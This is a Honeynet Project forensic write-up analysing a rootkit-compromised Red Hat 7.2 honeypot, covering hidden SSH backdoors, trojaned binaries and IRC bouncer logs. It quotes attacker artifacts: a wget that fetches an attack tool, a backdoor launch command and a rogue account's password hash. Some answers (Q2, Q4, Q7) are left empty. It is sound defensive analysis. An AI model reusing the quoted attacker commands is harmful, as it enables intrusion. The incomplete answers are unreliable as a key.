Honeynet Project



Scan of the Month 29



An analysis of a compromised Red Hat 7.2 honeypot by Maxime Gaillard



[email protected]



Questions :

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

  1. Explain the impact that your actions had on the running system.

  2. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

  3. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

  4. How many instances of an SSH server were installed and at what times?

  5. Which instances of the SSH servers from question 5 were run?

  6. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

  7. Which system executables (if any) were trojaned and what configuration files did they use?

  8. How and from where was the system likely compromised?

Bonus Question:
What nationality do you believe the attacker(s) to be, and why?



Introduction

After downloaded and verified the image, ensured that VMware is working correctly, I am ready to analyse it.

First, I lauch a tcpdump on my vmnet8 interface to capture what can go from this interface as my VMware is in a bridged mode.

Here are some of the most interesting details of my investigation on this honeypot.



Single user mode



Then, I boot in single user mode in order to minimize the impact I am doing on the system while backuping some important files from /etc.

Just before the prompt we can see :

/etc/rc.sysinit: kflushd: command not found

which can be a suspect message. An investigation on /etc/rc.sysinit will be done later.

I got some mail in root's mailbox : sa can not run ... Why ? Because there is no /var/log/sa where to put logs. Moreover /var looks strange : no directories, and /var/log/messages is pointing on /dev/null as our ~/.bash_history file !

So we can not trust the logs.

I create /root/scan in which I'll keep some files for forensics. I backup some importants file from /etc in /root/scan.

Now I can change the root password for booting in the default runlevel.



Default runlevel



While lauching runlevel 3, I can see some errors during the boot.

Then I tried to see what happen when using netstat (what are the open ports and the application listening) :

[root@localhost scan]# netstat -anlp

netstat: invalid option – l

?? I know that this exists on a normal RH 7.2 system, so it looks that netstat is trojaned or modified.

Let's verify it using rpm :

[root@localhost scan]# rpm -Va > /root/scan/rpm_modifs

I then discovered a lot of modifed files, including important binaries like : ps, top, netstat, ifconfig or ls ! Here are the traces of a rootkit.

So I decided to get some fresh and normal binaries from a non corrupted Red Hat 7.2 and put them in /root/scan/bin. Then I exported my PATH :

[root@localhost scan]# export PATH=/root/scan/bin:$PATH

So when using netstat -anlp :

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 886/smbd

tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 768/xinetd

tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 704/identd

tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 34/smbd -D

tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 768/xinetd

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 729/sshd

tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 768/xinetd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 798/sendmail: accep

udp 0 0 192.168.127.2:137 0.0.0.0:* 891/nmbd

udp 0 0 0.0.0.0:137 0.0.0.0:* 891/nmbd

udp 0 0 192.168.127.2:138 0.0.0.0:* 891/nmbd

udp 0 0 0.0.0.0:138 0.0.0.0:* 891/nmbd

Active UNIX domain sockets (servers and established)

...

So some ports are interesting :

By telneting the honeypot on port 2003 I get :

Trying 192.168.127.2...

Connected to 192.168.127.2.

Escape character is '^]'.

SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! )

So it looks to be a hided SSH daemon on TCP port 2003. It is hided because original ps is not showing it, but the new one does (in /root/scan/bin) The PID of the process is 34.

I discovered some attributes on directories on the filesystem :

[root@localhost scan]# lsattr /

------------- //lost+found

------------- //dev

------------- //var

------------- //tmp

------------- //etc

------------- //usr

suSiadAc----- //bin

------------- //boot

------------- //home

------------- //initrd

------------- //lib

------------- //mnt

------------- //opt

------------- //root

suSiadAc----- //sbin

The same thing on /usr is showing :

[root@localhost scan]# lsattr /usr

------------- /usr//bin

------------- /usr//lib

------------- /usr//libexec

suSiadAc----- /usr//sbin

------------- /usr//share

------------- /usr//X11R6

------------- /usr//dict

------------- /usr//etc

------------- /usr//games

------------- /usr//include

------------- /usr//local

------------- /usr//src

------------- /usr//kerberos

------------- /usr//tmp

So the hacker has tried to protect the binaries directories in order to leave the corrupted binaries untouched.

Using ls, find and an imported stat, I found that the system was probably corrupted by a rootkit installed on the August 10th at 13:33:57 .

[root@localhost scan]# ls -ltr /usr

total 60

drwxr-xr-x 2 root root 4096 Feb 6 1996 src

drwxr-xr-x 2 root root 4096 Feb 6 1996 etc

drwxr-xr-x 2 root root 4096 Feb 6 1996 dict

drwxr-xr-x 7 root root 4096 Jul 14 13:52 X11R6

lrwxrwxrwx 1 root root 10 Jul 14 13:52 tmp -> ../var/tmp

drwxr-xr-x 12 root root 4096 Jul 14 13:52 local

drwxr-xr-x 4 root root 4096 Jul 14 13:53 kerberos

drwxr-xr-x 2 root root 4096 Jul 14 13:54 games

drwxr-xr-x 4 root root 4096 Jul 14 13:54 libexec

drwxr-xr-x 27 root root 4096 Jul 14 13:54 share

drwxr-xr-x 2 root root 4096 Jul 14 13:54 sbin

drwxr-xr-x 24 root root 4096 Aug 10 13:33 include

drwxr-xr-x 2 root root 8192 Aug 10 13:33 bin

drwxr-xr-x 15 root root 8192 Aug 10 15:30 lib



Another date looks to be important as well : August 10th at 15:30:54

[root@localhost scan]# stat /usr/lib

File: "/usr/lib"

Size: 8192 Blocks: 16 IO Block: 4096 Directory

Device: 801h/2049d Inode: 73602 Links: 15

Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

Access: Sun Sep 28 15:34:36 2003

Modify: Sun Aug 10 15:30:54 2003

Change: Sun Aug 10 15:30:54 2003



[root@localhost scan]# stat /usr/bin/

File: "/usr/bin/"

Size: 8192 Blocks: 16 IO Block: 4096 Directory

Device: 801h/2049d Inode: 58884 Links: 2

Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

Access: Sun Sep 28 16:03:17 2003

Modify: Sun Aug 10 13:33:57 2003

Change: Sun Aug 10 13:33:57 2003

Effectively we found some unusal things in theses directories. The most interesting are :

[root@localhost scan]# strings /usr/lib/\(swapd\) shows /usr/lib/libice.log

It is maybe a call to this file, to log connection attempts.

[root@localhost scan]# ls -la /usr/lib/sp0*

-rwx------ 1 apache apache 230163 Jun 1 21:03 sp0

-rw-r--r-- 1 apache apache 621 Jun 1 21:03 sp0_cfg

-rw-r--r-- 1 apache apache 532 Feb 9 2000 sp0_key

-rw-r--r-- 1 apache apache 513 Feb 9 2000 sp0_seed

It was probably executed by the HTTP daemon apache.

Look at the dates... It looks to be modified the last time on the Jun 1 21:03 but in fact, stat shows :

[root@localhost scan]# stat /usr/lib/sp0

File: "/usr/lib/sp0"

Size: 230163 Blocks: 464 IO Block: 4096 Regular File

Device: 801h/2049d Inode: 47165 Links: 1

Access: (0700/-rwx------) Uid: ( 48/ apache) Gid: ( 48/ apache)

Access: Sun Sep 28 18:52:15 2003

Modify: Sun Jun 1 21:03:03 2003

Change: Sun Aug 10 15:30:54 2003

It means that the dates have been modified, but we can still know that it provides from the second rootkit installed at 15:30.

Now, when searching on the filesystem all the modified files since the last modified ones on the system when it was not corrupted (like /usr/bin/nm86 for instance, modifed last on Jul, 16th at 10:18)

[root@localhost scan]# find / -newer /usr/bin/nm86 2>/dev/null > /root/scan/new_files

The results are fascinating...

We see a /.bash_history file which contains :

...

hostname sbm79.dtc.apu.edu

...

wget izolam.net/sslstop.tar.gz

...

( See the rest in the attached files)

I discovered some modified files in /etc like :

...

Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)

Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro

Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic

Sun Aug 10 16:03:36 :User sic () has no server added

Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().

Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()

...

Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic

Sun Aug 10 17:50:51 :User redcode () has no server added

Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro

Sun Aug 10 17:51:22 :User redcode logged in.

Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().

Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()

...

It looks that two blackhats came and used the psybnc : sic and redcode, probably from Romania. They join on the Undernet the #Aiabuni and #RedCode channels.



...

:mesa.az.us.undernet.org 372 killme :- .. your client must respond to ident[RFC1413] connections.

...

This is probably why identd and finger services are listening on the machine. They are necessary for using IRC and knowing if people is connected or not on the honeypot.

The psybnc has been installed on August, 10th at 16h01 and has been last modifed at 18:00.



... /etc/passwd ...

admin:x:15:50:User:/var/ftp:/bin/bash

... /etc/shadow ...

admin:$1$YAkCbk.7$JoZPsqqGxO.ImKonKAucm.:12248:0:99999:7:::

They certainly used this account on the machine to log in on the system.



/usr/bin/crontabs -t1 -X53 -p

The crontabs binary is lauching the smbd -D process, opening port 2003 on TCP on boot.





We now have enough to answers the questions. Surely there are others things modified or corrupted on the system (like may be the kernel space with some kind if kernel modules like adore) . After running chkrootkit version 0.4.1 (the most up to date at this time), the scripts does not detect such modules.



Answers

Q 1 : Explain the impact that your actions had on the running system.

By using imported binaries from a normal system, and backuping important files while listening at the outgoing trafic with tcpdump, I tried to reduce the impact on the original system.

I used the RPM database a lot to discovered modified files with the verifying function of rpm.

The blackhats forgot to modify the MAC times (ie. with touch for instance) in order to hide their tracks on the filesystem. So I used the imported versions of stat and ls -lrta a lot of times to help me.



Q 2 : List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).



Q 3 : Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

sanido-09.is.pcnet.ro

sanido-08.is.pcnet.ro



Q 4 : How many instances of an SSH server were installed and at what times?



Q 5 : Which instances of the SSH servers from question 5 were run?

Only the original SSH server and the first rootkit SSH server named smbd -D were run with the default runlevel.



Q 6 : Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

Yes, the smbd -D SSH server has been modified to log the username, password and hostname of people connecting on the TCP port 2003. Theses informations are collected in /usr/lib/libshlog.



Q 7 : Which system executables (if any) were trojaned and what configuration files did they use?

The following binaries have been trojaned :

We can find some configuration options for running the second rootkit in /lib/.x/.boot

Q 8 : How and from where was the system likely compromised?

I think the system was probably attacked by an exploit. This is how the blackhats gained root privileges and a shell access on the system. This exploit had maybe targeted the SSH daemon, which was vulnerable with this version on a default Red Hat Linux 7.2.



Bonus Question:
What nationality do you believe the attacker(s) to be, and why?

I mainly suspect two guys from Romania as this is the informations I got from /etc/opt/psybnc/log/psybnc.log .

But the attack might also be done from somewhere in the US. The hostname smb79.dtc.apu.edu found in /.bash_history is also strange...



To conclude, I would like to thanks the Honeynet Project for providing this really interesting and interactive challenge who occupied and trained my brain for some hours :) ...